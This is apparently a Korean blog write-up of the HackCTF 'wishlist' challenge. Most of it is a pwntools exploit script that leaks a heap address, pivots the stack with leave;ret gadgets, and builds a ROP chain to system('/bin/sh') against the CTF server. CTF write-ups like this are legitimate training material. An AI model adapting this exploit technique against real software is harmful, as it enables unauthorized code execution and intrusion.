기본적으로 stack pivot 문제이다. 서버와 로컬의 환경이 많이 다른지 서버익스가 안되는데, 홈피에서도 로컬익스만 되면 dm달라고 하는 걸 보변 문제가 꽤 있었나보다. 일단 이 문제에서 배운점 .
system 함수를 호출할 때, (이전에 호출한 적이 없을 시) 공간을 겁나 많이 먹는다. 따라서 스택 피벗 할때에도 공간을 넉넉하게 엄청 넉넉하게 주도록 하자.
from pwn import*
read_leave_ret=0x4008be
pop_rdi_ret=0x400b03
puts_got=0x601020
system=0x4006c0
get_index=0x400978
puts=0x4006b0
bss=0x6010e0+0x100
leave_ret=0x400a4a
p=process('./wishlist')
p=remote('ctf.j0n9hyun.xyz',3035)
add_rsp_8=0x00400b18
ELF('./wishlist')
def make(wish):
p.recvuntil('input:')
p.sendline('1')
p.recvuntil('wishlist: ')
p.send(wish)
def view(index):
p.recvuntil('input:')
p.sendline('2')
p.recvuntil('index: ')
p.sendline(str(index))
def delete(index):
p.recvuntil('input:')
p.sendline('3')
p.recvuntil('index: ')
p.sendline(str(index))
make('/bin/sh\x00') #0
make('/bin/sh\x00') #1
delete(0)
delete(1)
make('\x01') #0
make('\x01') #0
make('/bin/sh\x00')
view(2)
heap=u64(p.recv(4).ljust(8,'\x00'))
heap-=1
binsh=heap+0xa0
print('heap : '+hex(heap))
for i in range(0x100) :
make('A')
pl=p64(pop_rdi_ret) #heap+0xb0
pl+=p64(binsh)
pl+=p64(system)
make(pl)
p.recvuntil('input:')
pl='A'*0x10
pl+=p64(heap+0x20b8)
pl+=p64(leave_ret)
p.send(pl)
p.interactive()
|
cs |
'전공쪽 > HackCTF' 카테고리의 다른 글
[HackCTF] Unexploitable_3 write up (0) | 2020.09.22 |
---|